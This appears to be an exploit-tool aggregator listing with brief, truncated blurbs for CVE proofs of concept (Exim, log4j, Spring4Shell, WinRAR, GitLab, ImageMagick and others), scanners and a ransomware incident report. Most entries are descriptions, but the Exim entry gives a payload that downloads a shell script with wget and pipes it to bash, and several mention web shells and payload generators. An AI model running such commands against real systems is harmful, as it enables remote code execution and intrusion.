CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc Lab Setup After starting the Docker container, some additional configuration is needed. Visit 127.0.0.1:8080, complete the configuration, In the backend – Appearance – Themes, select a theme, customize it, and configure. Go to Design – Templates – Single...

FollinaExtractor

FollinaExtractor Extract payload URLs from Follina CVE-2022-30190 docx and rtf files usage: extractfollina.py -f C:\path\to\file.rtf...

CVE-2021-26295

CVE-2021-26295-POC Vulnerability verification for CVE-2021-26295 using DNSlog. Usage poc: Place the target in target.txt and run python poc.py. JDK environment must be 12, otherwise ysoserial cannot generate the payload properly exp: python exp.py https://baidu.com then enter the command executio...

CVE-2023-21707

CVE-2023-21707 Exchange deserialization payload generation root@kitploit: .\ConsoleApp1.exe "calc"...

spring4shell_behinder

Spring4shellbehinder What is this? A batch rapid exploitation tool for the Spring4Shell vulnerability CVE-2022-22965. Contributors 4nth0ny @Friday Lab Issues/PRs are welcome. : Environment python 3.x Behinder3.0 Beta9 Installation root@kitploit: python3 -m pip install -r requirements.txt Usage...

CVE-2022-2992

CVE-2022-2992 Authenticated Remote Command Execution in Gitlab via GitHub import. A vulnerability in GitLab CE/EE affecting all versions from 11.10 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. allows an authenticated user to achieve...

CVE-2017-11882-metasploit

CVE-2017-11882-metasploit This is a Metasploit module which exploits CVE-2017-11882 using the POC below: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Installation 1. Copy the cve201711882.rb to /usr/share/metasploit-framework/modules/exploits/windows/local...

Group Policy hijacked: PAYLOAD ransomware weaponizes Active Directory GPO

Executive summary In April 2026, we at Kaspersky's Global Emergency Response Team GERT responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization's Active Directory environment and authored a...

crlfi-scanner

CRLFISCANNER CRLFISCANNER is a professional Node.js CLI tool for detecting CRLF Injection vulnerabilities by sending payload-based HTTP requests, analyzing response headers, and optionally reporting findings to an API/Telegram bot. 🎯 What is CRLFISCANNER? CRLFISCANNER is a bug bounty automation C...

python-paddingoracle

python-paddingoracle: A portable, padding oracle exploit API UPDATED FOR PYTHON 3 python-paddingoracle is an API that provides pentesters a customizable alternative to PadBuster and other padding oracle exploit tools that can't easily without a heavy rewrite be used in unique, per-app scenarios...

log4j

💻 -h3x0v3rl0rd- exploiting log4j CVE-2021-44228 TryHackMe Solar, Walkthrough root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. run log4j.py This whill install all the nessasary applications and start the LDAP server root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2...

CVE-2021-26295--

CVE-2021-26295-- CVE-2021-26295-POC Use DNSlog for vulnerability verification of CVE-2021-26295. Poc usage: Place the target in target.txt and run python poc.py. JDK environment must be 12, otherwise ysoserial cannot properly generate the payload exp: python exp.py https://baidu.com then enter th...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC for exploitation of vulnerability CVE-2019-10149 Usage example python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2025-8088-Winrar

CVE-2025-8088 WinRAR Exploitation Advanced WinRAR Path Traversal Exploitation Tool A sophisticated GUI tool for creating malicious RAR files that exploit the WinRAR path traversal vulnerability CVE-2025-8088 by manipulating ADS and RAR5 headers. Features ADS Exploitation - NTFS alternate data...

React2Shell-Scanner

CVE-2025-55182 and CVE-2025-66478 Vulnerability Checker A non-intrusive detection tool for identifying vulnerable React Server Components RSC implementations affected by CVE-2025-55182 React and CVE-2025-66478 Next.js. This tool performs active detection using benign, non-malicious payloads to...

Root-My-Galaxy

Root My Galaxy Root My Galaxy 是一款一键安装工具，适用于明确支持的 Samsung 型号与内核组合。该应用程序本身与设备偏移量、原生漏洞利用载荷以及 KernelSU 构建产物保持分离。 最新版本 设备数据源与原生载荷维护在 Root-My-Galaxy-Payloads 中。 应用程序 该应用会选择型号列表与三段式内核版本均匹配手机的载荷。例如，6.6.98-android15-8-... 匹配 6.6.98。高级模式会按这两个值过滤目录，并允许手动选择，同时显示型号与内核版本警告。 构建 要求： Android Studio JBR 21 Android...

CVE-2025-66478-Research-Proof-of-Concept

CVE-2025-66478-Research-Proof-of-Concept Overview This repository contains research and a proof-of-concept implementation related to CVE-2025-66478, a vulnerability affecting certain Next.js / React Server Components configurations. The project was developed in a controlled laboratory environment...

cve-2019-0604-SP2010-netv3.5

cve-2019-0604-SP2010-netv3.5 Recently, I came across a Sharepoint 2010 SP2 and all the Proof of Concept that I tested didn't work until I realized that the server was on .net 3.5 which require a different library. Here is the .dll for .net 3.5. The code came from...

CVE-2025-32433.py

CVE-2025-32433.py This Python PoC simulates SSH message flows, including key exchange, channel open, and command requests, to analyze server behavior. Intended for controlled lab testing, it demonstrates protocol handling, pre-auth message processing, and payload interactions for research and...

CVE-2016-3714

CVE-2016-3714 ImageMagick Code Execution CVE-2016-3714 imagickbuilder.py = Simple Payload Builder to Exploit CVE-2016-3714 imagickbypassshell.php = PHP based web shell leveraging the PHP imagick extension wrapper to bypass disabled functions Few Images of things working: Payload Builder: imagick...